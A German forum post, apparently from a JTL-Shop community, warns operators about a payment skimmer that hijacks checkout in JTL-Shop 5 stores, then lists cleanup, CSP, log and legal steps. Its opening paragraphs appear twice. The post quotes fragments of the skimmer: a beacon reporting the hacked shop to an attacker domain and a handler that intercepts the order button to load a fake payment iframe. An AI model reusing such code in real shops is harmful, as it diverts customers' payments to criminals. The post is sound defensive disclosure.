Es häufen sich die Betrugsfälle "Man in the Card" und auch hier im Forum findet man schon Vorfälle zu dem Hack z.B.:
https://forum.jtl-software.de/threa...uss-vorkasse-iframe-zahlungsumleitung.248501/
Es wurde ein aktiver Angriffsvektor identifiziert, bei dem über eine einfache Zeile externer JavaScript-Code in JTL-Shops eingeschleust wird (beispielsweise über manipulierte Datenbankeinträge, Fußzeilen-/Eigene-Boxen oder kompromittierte Drittanbieter-Plugins).
Das Besondere an dieser Bedrohung: Der Angriff erfordert keine direkte Modifikation der Core-Dateien des Shops. Sobald ein eingebundenes Plugin oder Script auf einen externen Server zugreift, der kompromittiert wurde, lässt sich dieser Angriff im Browser des Endkunden ausführen.
Es prüft, ob der Besucher ein Desktop- oder Mobilgerät nutzt und auf welcher Seite des Bestellprozesses er sich befindet.
Gleichzeitig werden shop-eigene Rabatt-Badges unterdrückt, um die Täuschung perfekt zu machen.
Anstatt die Bestellung regulär abzuwickeln, öffnet das Script ein gefälschtes Modal-Fenster mit einem iframe, der eine externe Angreifer-Plattform lädt ([https://malumpay.click](https://malumpay.click)):
Über diesen gefälschten Frame wird das Geld oder die Zahlungsbestätigung direkt an die Angreifer umgeleitet. Erst wenn die Eingabe im Fake-Frame abgeschlossen ist, wird die eigentliche Shop-Bestellung ausgelöst, damit der Kunde keinen Verdacht schöpft.
Falls Ihr Unterstützung braucht oder einen Verdacht habt, gerne melden.
Log-Daten aller Backend-Änderungen an Seiten und Boxen wären hier interessant gewesen. Die Log-Daten des Backends bleiben diesbezüglich leider aktuell noch leer.
Viele Grüße
Aaron
https://forum.jtl-software.de/threa...uss-vorkasse-iframe-zahlungsumleitung.248501/
Es wurde ein aktiver Angriffsvektor identifiziert, bei dem über eine einfache Zeile externer JavaScript-Code in JTL-Shops eingeschleust wird (beispielsweise über manipulierte Datenbankeinträge, Fußzeilen-/Eigene-Boxen oder kompromittierte Drittanbieter-Plugins).
Das Besondere an dieser Bedrohung: Der Angriff erfordert keine direkte Modifikation der Core-Dateien des Shops. Sobald ein eingebundenes Plugin oder Script auf einen externen Server zugreift, der kompromittiert wurde, lässt sich dieser Angriff im Browser des Endkunden ausführen.
How it works: Funktionsweise des analysierten Schadcodes
Bei dem analysierten Script handelt es sich um einen hochentwickelten Payment Skimmer (auch bekannt als Magecart-Angriff), der speziell auf JTL-Shop 5 (NOVA-Template) zugeschnitten ist. Das Script arbeitet in mehreren Phasen:1. Telemetrie & Erkennung (Tracking)
Gleich nach dem Laden sendet das Script ein unsichtbares Tracking-Pixel an eine externe Domain (oob.kinoavelon.com), um den Angriffserfolg und Informationen über den Shop zu protokollieren:
Code:
(new Image()).src='https://oob.kinoavelon.com/__utm.gif?d=[GEHACKTESHOPURL]&e=load&ts='+Date.now();
Es prüft, ob der Besucher ein Desktop- oder Mobilgerät nutzt und auf welcher Seite des Bestellprozesses er sich befindet.
2. Manipulation der Zahlungsmethoden & Rabatt-Anreiz
- Ausblenden von Express-Zahlungen: Auf der Warenkorbseite blendet das Script legitime Optionen wie PayPal Express aus, um den Käufer in den regulären Checkout zu zwingen.
- Erkennung von Vorkasse / Überweisung: Das Script sucht im Checkout gezielt nach Zahlungsarten wie Vorkasse, Überweisung oder Banktransfer.
- Gefälschter Rabatt-Hinweis: Es injiziert einen optisch hervorgehobenen Text, um den Kunden zur Auswahl der Überweisung zu verleiten:
Gleichzeitig werden shop-eigene Rabatt-Badges unterdrückt, um die Täuschung perfekt zu machen.
3. Abfangen des Kaufabschlusses (Payment Interception)
Sobald der Kunde auf „Zahlungspflichtig bestellen“ klickt, fängt das Script das Absenden des Formulars ab (e.preventDefault()).Anstatt die Bestellung regulär abzuwickeln, öffnet das Script ein gefälschtes Modal-Fenster mit einem iframe, der eine externe Angreifer-Plattform lädt ([https://malumpay.click](https://malumpay.click)):
Code:
// Fängt den Klick auf den Kauf-Button ab und öffnet die Fake-Zahlungsmaske
btn.addEventListener('click', function (e) {
e.preventDefault();
openModal(amount, onProof, onUnavailable);
});
Über diesen gefälschten Frame wird das Geld oder die Zahlungsbestätigung direkt an die Angreifer umgeleitet. Erst wenn die Eingabe im Fake-Frame abgeschlossen ist, wird die eigentliche Shop-Bestellung ausgelöst, damit der Kunde keinen Verdacht schöpft.
Schutz- und Sofortmaßnahmen für Shop-Betreiber
- Quellcode & Datenbank prüfen:
- Durchsuchen Sie die Datenbank (insbesondere Tabellen wie tbox, tboxsprache oder Plugin-Konfigurationen) sowie Template-Dateien nach unerwarteten <script src="https://...">-Einträgen.
- Drittanbieter-Plugins auditieren:
- Prüfen Sie alle installierten Plugins darauf, ob diese Scripte von externen Servern/CDNs nachladen.
- Content Security Policy (CSP) einrichten:
- Implementsieren Sie eine strenge CSP über den Webserver oder .htaccess. Eine CSP verhindert, dass der Browser JavaScript von nicht autorisierten externen Domains ausführt oder Unerlaubtes in iframe-Elementen lädt.
- Logfiles prüfen:
- Suchen Sie in Ihren Server-Logs nach Aufrufen zu verdächtigen Domains (z. B. kinoavelon.com, malumpay.click).
- Passwörter & Zugänge erneuern:
- Ändern Sie umgehend die Zugangsdaten für das JTL-Admin-Backend, Datenbanken und FTP/SSH.
- Backend Einträge, insbesondere Boxen im Footer prüfen ob dort Modifikationen stattgefunden haben ( Wird nicht als Dateimodifikation angezeigt )
⚠️ Wichtige Zusatzhinweise für Betroffene
1. Ein Software-Update reicht NICHT aus!
- Der Schadcode bleibt aktiv: Ein Update von JTL-Shop aktualisiert lediglich die Core-Dateien. Schadcode, der in der Datenbank (z. B. in eigenen Boxen, sprachabhängigen Inhalten oder Plugin-Einstellungen) oder in indizierten Custom-Templates/Custom-Files liegt, wird durch ein Update nicht gelöscht.
- Manuelle Bereinigung erforderlich: Der Code muss explizit in den betroffenen Tabellen oder Template-Dateien gesucht und manuell entfernt werden. Prüfen Sie zudem zwingend alle aktiven Webhooks und benutzerdefinierten JavaScript-Einbindungen im JTL-Backend.
2. Rechtliche Pflichten
- Prüfen Sie ob Kunden geschädigt wurden und eine Strafanzeige erstattet werden muss.
- Wenn bei diesem Angriff potenziell Kundendaten abgefangen und Zahlungsströme manipuliert wurden, liegt in der Regel eine Verletzung des Schutzes personenbezogener Daten vor. Der Vorfall muss innerhalb von 72 Stunden der zuständigen Datenschutzbehörde gemeldet werden. Betroffene Kunden müssen ebenfalls informiert werden.
Falls Ihr Unterstützung braucht oder einen Verdacht habt, gerne melden.
Log-Daten aller Backend-Änderungen an Seiten und Boxen wären hier interessant gewesen. Die Log-Daten des Backends bleiben diesbezüglich leider aktuell noch leer.
Viele Grüße
Aaron